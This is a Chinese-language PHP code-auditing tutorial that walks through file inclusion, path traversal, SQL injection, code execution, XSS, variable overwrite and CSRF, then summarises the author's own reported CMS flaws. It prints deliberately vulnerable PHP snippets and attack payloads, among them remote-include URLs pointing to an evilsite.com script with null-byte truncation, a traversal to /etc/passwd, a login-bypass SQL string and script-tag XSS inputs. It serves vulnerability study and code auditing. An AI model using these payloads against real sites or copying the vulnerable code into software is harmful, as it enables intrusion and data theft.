PHP漏洞挖掘思路+例項 第二章
0x00 背景
感謝各位的評論與討論,經過研討的地方在文章中標出。
先翻譯整理一篇英文paper,後面再填上自己新發現的例子,先思路再例項 O(∩_∩)O
補充之前第一篇文章中思路,重新加入了最近發現的一些例項(也有部分來自wooyun上的牛人們已公開的漏洞,漏洞歸屬原作者並均在文章內標明)
(感謝瞌睡龍指導:注意各種漏洞的前提配置環境,先列出來,之後詳細說)
在文章中的測試條件下,我們的配置預設是這樣子的
safe_mode = off (避免各種奇奇怪怪的失敗)
disabled_functions = N/A ( 可以使用全部函式,免得莫名其妙的不能用 )
register_globals = on ( 註冊全域性變數 )
allow_url_include = on ( 檔案包含時的限制,如果關了就不能遠端 )
allow_url_fopen = on ( 檔案開啟的限制,還是開著吧 )
magic_quotes_gpc = off ( 轉義引號和劃線和空字元,比如” 變成\“ )
short_tag_open = on ( 部分指令碼會用到 )
file_uploads = on ( 任意檔案上傳需要……允許上傳檔案 )
display_errors = on ( 自己測試時方便,找錯誤 )
0x01 任意檔案包含
前提:允許url_include,否則就需要上傳到絕對路徑
提示:可以使用空位元組(截斷)的技巧,和“?”問號的使用技巧
php中有四個函式與檔案包含有關:
require
require_once 只包含一次
include
include_once 只包含一次
如以下例子:
#!php
<?php
$pagina=$_GET['pagina'];
include $pagina.'logged=1';
?>
使用空位元組的例子
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00
這樣可以去掉末尾的.php字尾
再如以下例子
#!php
<?php
$pagina=$_GET['pagina'];
include $pagina.'logged=1';
?>
使用“?”問號的例子
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1
這樣可以把後面的一大坨東西弄沒
如何修復:
allow_url_include = on
allow_url_fopen = on
簡單來說:不要允許特殊字元出現,過濾“/”,或者過濾http,https,ftp和SMB
好吧,來舉一個烏雲上Frears的例子
#!php
//只判斷是app是否設定,然後去掉了兩端空格
$app = isset($_REQUEST['app']) ? trim($_REQUEST['app']) : $default_app;
$act = isset($_REQUEST['act']) ? trim($_REQUEST['act']) : $default_act;
//很明顯可以看出$app是我們可以控制的、由於後面連線了.app.php所以利用的時候要截斷。
$app_file = $config['app_root'] . "/{$app}.app.php";
//應為是本地包函、所以is_file是為真的
if (!is_file($app_file))
{
exit('Missing controller');
}
//這裡直接就包函了,這麼低階的漏洞、我都不好說什麼了.
require($app_file);
還有一些特殊的思路,比如Joker的構造
自己去看吧,我還以為只有教科書裡邊才可能出現……
挖掘的可能方法:全域性搜尋四個函式,先只管出現在檔案中間的require等前後文是否有嚴格的驗證,之後在通讀時注意檔案前部的include
0x02 本地檔案包含
提示:在windows系統下面我們可以用 "..\" 來代替 "../" 即 "..%5C" ( url編碼後 ).
如下例:
#!php
<?php
$pagina=$_GET['pagina'];
include '/pages/'.$pagina;
?>
利用的例子:
http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd
空位元組截斷和問號的技巧通用
其實和上面的差不多,只不過是用到了跨目錄
修復方式:過濾點和斜槓
0x03 任意檔案下載
前提:url_fopen為on時才能開啟遠端檔案,但一般意義上的任意檔案下載不是“遠端“的
相比上一篇文章補充:
file_get_contents 讀取整個檔案到字串中
readfile 顯示整個檔案
file 讀進陣列
fopen 開啟檔案或URL
highlight_file 高亮顯示原始碼
show_source 顯示原始碼
例子同上一篇文章
0x04 SQL隱碼攻擊
前提:magic_quotes_gpc = off 當然指的是字元型的注射,如果是數字型就仍然可以盲注
補充登陸繞過的情況:
#!php
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
or die("<p>" . mysql_error() . "</p>\n");
這時利用時會方便很多
username : admin ' or ' 1=1
password : sirgod
挖掘方法:在登陸邏輯處發現注射,不急著跑表,可以考慮繞過登陸
0x05 命令執行
參考《高階PHP應用程式漏洞稽核技術》(Ph4nt0m Security Team),小夥伴們都去百度一下吧
(以下節選一小部分有關命令執行的內容)
5.4 程式碼注射
5.4.1 PHP中可能導致程式碼注射的函式
很多人都知道eval、preg_replace+/e可以執行程式碼,但是不知道php還有很多的函式可 以執行程式碼如:
assert()
call_user_func()
call_user_func_array()
create_function()
變數函式
這裡我們看看最近出現的幾個關於create_function()程式碼執行漏洞的程式碼:
#!php
<?php
//how to exp this code
$sort_by=$_GET["sort_by"];
$sorter="strnatcasecmp";
$databases=array("test","test");
$sort_function = " return 1 * " . $sorter . "($a["" . $sort_by . ""], $b["" . $sort_by . ""]);
";
usort($databases, create_function("$a, $b", $sort_function));
漏洞審計策略
PHP版本要求:無 系統要求:無 審計策略:查詢對應函式(assert,call_user_func,call_user_func_array,create_function等)
5.4.2 變數函式與雙引號
對於單引號和雙引號的區別,很多程式設計師深有體會,示例程式碼:
#!php
echo "$a\n";
echo "$a\n";
我們再看如下程式碼:
#!php
//how to exp this code
if($globals["bbc_email"]){
$text = preg_replace(
array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
"/\[email\](.*?)\[\/email\]/ies"),
array("check_email("$1", "$2")",
"check_email("$1", "$1")"), $text);
另外很多的應用程式都把變數用""存放在快取檔案或者config或者data檔案裡,這樣很 容易被人注射變數函式。
漏洞審計策略
PHP版本要求:無 系統要求:無 審計策略:通讀程式碼
0x06 跨站指令碼漏洞XSS
#!php
<?php
$name=$_GET['name'];
print $name;
?>
http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
#!php
<?php
$name=addslashes($_GET['name']);
print '<table name="'.$name.'"></table>';
?>
http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode(88,83,83))</script>
fromCharCode用來繞過addslashes
挖掘方法:關注負責輸出的程式碼,牢記之前程式處理變數的一般邏輯(過濾html標籤的力度?)
0x07 變數覆蓋
前提:需要register_gloabals = on
#!php
<?php
if ($logged==true) {
echo 'Logged in.'; }
else {
print 'Not logged in.';
}
?>
http://127.0.0.1/test.php?logged=1
免認證即登陸
0x08 admin節點可被越權訪問
http://127.0.0.1/admin/files.php
http://127.0.0.1/admin/db_lookup.php
若是無身份驗證直接就能訪問,可能存在此漏洞
挖掘方法:先開register_gloabals = on ,然後留意第一次出現的變數
0x09 跨站點請求偽造CSRF
前提:沒有token 一般結合XSS來做
#!php
<?php
check_auth();
if(isset($_GET['news']))
{ unlink('files/news'.$news.'.txt'); }
else {
die('File not deleted'); }
?>
http://127.0.0.1/test.php?news=1
會導致檔案刪除,當然,需要過check_auth,不過在CSRF下不是問題
#!php
if ($_GET['func'] == 'delete') {
$del_id = $_GET['id'];
$query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
$result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
while ($results2121 = mysql_fetch_array($result2121)) {
$their_role = $results2121['ROLE'];
}
if ($their_role != '1') {
mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'")
or die(mysql_error());
關鍵是在於操作沒有任何型別的確認,只要提交請求即可見效
http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4
如何修補:token
#!php
<?php
check_auth();
if(isset($_GET['news']) && $token=$_SESSION['token'])
{ unlink('files/news'.$news.'.txt'); }
else {
die('Error.'); }
?>
這樣就不能偽造啦
http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]
挖掘方法:敏感功能如 “新增管理員” “修改密碼” “直接把shell地址給到別人郵箱裡”觀察是否有token驗證或者其他形式的驗證
0x10 參考文獻
部分內容參考自【英文】 http://www.exploit-db.com/papers/12871/ Name : Finding vulnerabilities in PHP scripts FULL ( with examples ) Author : SirGod Email : [email protected]
[email protected] 引用處進行了翻譯
以下是最新自己發現的例子
0x11 CSCMS V3.5 最新版 SQL注射(官方站演示+原始碼詳析)
WooYun: CSCMS V3.5 最新版 SQL注射(官方站演示+原始碼詳析)
PS:CSCMS真是好教材……
感謝 @五道口殺氣 在上一篇的回覆:
MVC的程式碼看一下框架本身實現有沒有問題,然後去看model就行了,model有多強,決定了有多大的空間,而變數的過濾在controller裡呼叫時應該幾乎是差不多的,所以這類程式碼從index.php開始讀可能也不是太有必要
經過仔細的琢磨,我有了更深的體會,比如本次漏洞中,CSCMS重構了程式碼,使用了MVC架構,果然是model的xss_clean被誤用(或者說model根本沒有防範注射的功能),導致controller裡面射成一片,因此可以說我之前的“從index.php開始“很不恰當,應當視情況而定
感謝 @erevus 在上一篇的回覆:
我說說的我經驗
挖SQL隱碼攻擊,全域性搜尋select,insert,updata這幾個關鍵字 然後找到SQL語句 向上跟 跟到傳入變數的地方 看看中途有沒有過濾
挖任意程式碼執行,全域性搜尋各種可以執行命令的函式,然後也是一個個看 向上跟.(一直沒挖到...)
挖XSS...直接黑盒挖,看看有沒有過濾 過濾了的話就去看過濾的程式碼是怎樣 然後看看能不能繞...感覺如果是框架的話,只搜尋SELECT關鍵字可能會有遺漏,因為有很多都是比如:
$member->where ( "username ='" . $username . "'" )->save ( $arr_i ); // 更新狀態
這樣的框架很容易遺漏重要拼接
PS:強烈同意erevus的XSS的挖掘方法,因為能力和精力都很有限……
0x12 MacCMS 全版本通殺SQL注射(包括最新7.x)
WooYun: MacCMS 全版本通殺SQL注射(包括最新7.x)
也是重構了程式碼,加入了360的防護指令碼,其實在我發上一個漏洞(6.x)時這個7.x剛好釋出,我稍微看了一眼,發現有360防護指令碼後就不看了,以為他們肯定全都過濾掉了,直到…… 比較有趣的是他們根本沒有在referer上使用360的獲取方式,而是直接return $_SERVER["HTTP_REFERER"];
了 因此提醒大家,程式碼審計就是要仔細,就是要有超人般的耐心,不要想當然。
0x13 WanCMS 可修改任意使用者密碼(原始碼詳析+例項演示)
WooYun: WanCMS 可修改任意使用者密碼(原始碼詳析+例項演示)
我終於又發現了一個敏感業務邏輯上的漏洞
嘮叨兩句密碼學……
MD5、SHA 是雜湊函式,知道$a後容易知道md5($a),而知道md5($a)難以恢復$a Des 是對稱密碼,加解密使用同一個金鑰
#!php
$reurl = $config ['DOMAIN'] . '/accounts/forget_password_t?vc=' . md5 ( md5 ( $username ) );
這裡的密碼重置連結 使用的是MD5(兩遍),但是使用者名稱我們是知道的,因此直接就能偽造,這也說明了md5並不是用來加密的,應該用DES或者……更常見的方法是MD5中的使用者名稱再加入密碼和隨機數,或者乾脆隨機一串字元好了。
0x14 WanCMS 多處SQL注射(原始碼詳析+實站演示)
WooYun: WanCMS 多處SQL注射(原始碼詳析+實站演示)
又是一個框架中注射的例子
#!php
$u_info = $member->where ( "username ='" . $username . "'" )->find ();
之前username沒有過濾,雖然看著和帶著SELECT的完整SQL語句有區別,但是效果是一樣的
0x15 CSCMS V3.5 最新補丁後 又一個SQL注射(原始碼詳析)
WooYun: CSCMS V3.5 最新補丁後 又一個SQL注射(原始碼詳析)
這個就是一個廠商漏補的addslash+無引號 盲注 但是比較有新意的是,他們好像有一陣是用的magic_quotes_gpc來處理的,只是給數字補上了好多的引號,而且還漏了幾個……
0x16 TCCMS (最新)8.0 後臺GETSHELL (原始碼詳析)
WooYun: TCCMS (最新)8.0 後臺GETSHELL (原始碼詳析)
任意檔案上傳,前提是upload為ON
#!php
$fullPath = $path . "/" . $_POST["name"];
居然直接從POST裡面取。
一般情況下應該是uuid隨機數名稱,或者至少去不可見字元強加字尾。
直接從POST中取值的下場就是任意檔案上傳。
0x17 iSiteCMS釋出安全補丁後仍然有幾處注射漏洞(原始碼詳析+實站演示)
WooYun: iSiteCMS釋出安全補丁後仍然有幾處注射漏洞(原始碼詳析+實站演示)
這個注射有一個特別之處,就是過濾了逗號(,),因此跑表時非常不順利,需要想其他的方法來驗證危害
#!php
$tos = explode(',',trim($arr['to']));
沒錯,這一句幹掉了逗號
解決方案:不跑表了,試著構造錯誤回顯(因為常規那頁面是沒有回顯的)直接爆管理員密碼
思路總結:變數到達第一個注射語句沒有逗號無法突破無法回顯,堅持繼續讀,程式能繼續執行,然後發現下面還有一句也會被注射到,然後注射到的結果又拼接到另一個SQL語句中,而報錯又是開啟狀態,因此構造一下在SQL報錯的地方回顯出密碼
0x18 CSCMS V3.5 最新版 後臺命令執行GETSHELL(原始碼詳析)
WooYun: CSCMS V3.5 最新版 後臺命令執行GETSHELL(原始碼詳析)
[email protected]: 框架會有很多很隱蔽的洞,現在還不太清楚怎麼具體挖掘。比如雙引號導致的程式碼執行。
千奇百怪的洞 的確很頭疼 我這個漏洞本是想仿造《Dede後臺getshell[過20130715]》原作者不詳 結果……不大一樣 不過思路是:後臺總會有儲存設定的地方,而儲存設定的地方往往是寫config.php儲存設定(因為php副檔名可以防止被隨意下載ETC)而這樣的話如果儲存設定時過濾不足,就有可能導致任意檔案寫入,而且又是php檔案,動不動就會來個程式碼執行 :)
不過感覺隱蔽的漏洞還是很費腦力的,一般的思考發現不了
相關文章
- PHP漏洞挖掘思路+例項2020-08-19PHP
- PHP弱型別引發的漏洞例項2021-09-09PHP型別
- IIS短檔名漏洞原理與挖掘思路2021-08-10
- win32k.sys漏洞挖掘思路解讀2020-05-14Win32
- 某知名系統漏洞挖掘與利用思路探索2022-09-19
- php例項化物件的例項方法2021-10-24PHP物件
- PHP程式碼審計03之例項化任意物件漏洞2020-10-15PHP物件
- PHP審計之class_exists與任意例項化漏洞2021-10-09PHP
- PHP 完整表單例項2020-12-29PHP單例
- 漏洞挖掘的藝術-面向原始碼的靜態漏洞挖掘2020-08-28原始碼
- CRLF Injection漏洞的利用與例項分析2020-08-19
- 製作PHP的RPM包例項2022-10-24PHP
- D-Link 漏洞挖掘2022-11-04
- PHP7 新增功能詳解(例項)2019-03-21PHP
- 第二章-漏洞環境2024-04-05
- PHP+Ajax實現文章心情投票功能例項2019-12-04PHP
- 5種PHP生成圖片驗證碼例項2020-02-26PHP
- 驗證.N“.NET研究”ET強命稱的思路和例項2019-05-12
- 使用蜻蜓安全挖掘漏洞實踐(一)2022-04-30
- PHP審計之POP鏈挖掘2021-10-12PHP
- PHP常見陣列函式與例項[基礎]]2021-03-19PHP陣列函式
- Google報告:大量被入侵的 Google Cloud 例項被用來挖掘加密貨幣2021-12-10GoCloud加密
- PHP漏洞全解————10、PHP檔案包含漏洞2018-07-05PHP
- 漏洞挖掘基礎之格式化字串2020-08-19字串
- 聊聊web漏洞挖掘第一期2023-01-11Web
- 教你如何直接訪問php例項物件的private屬性2019-02-16PHP物件
- php物件導向個人濃縮總結和例項2019-03-07PHP物件
- php class中public,private,protected,static的區別,以及例項2018-08-08PHP
- PHP+Ajax手機移動端發紅包例項2019-09-26PHP
- PHP+Ajax點選載入更多列表資料例項2019-09-21PHP
- PHP+jQuery開發簡單的翻牌抽獎例項2019-12-11PHPjQuery
- PHP+Mysql統計檔案下載次數例項2019-10-21PHPMySql
- PHP+MySQL實現線上測試答題例項2020-01-03PHPMySql
- PHP 觀察者模式應用場景例項詳解2021-12-05PHP模式
- PHP preg match正規表示式函式的操作例項2022-03-21PHP函式
- SRC漏洞挖掘之偏門資產收集篇2020-10-30
- 漏洞銀行公開課整理--家用路由器漏洞挖掘入門2020-11-26路由器
- PHP的時間日期與例項應用:日曆核心程式2019-02-16PHP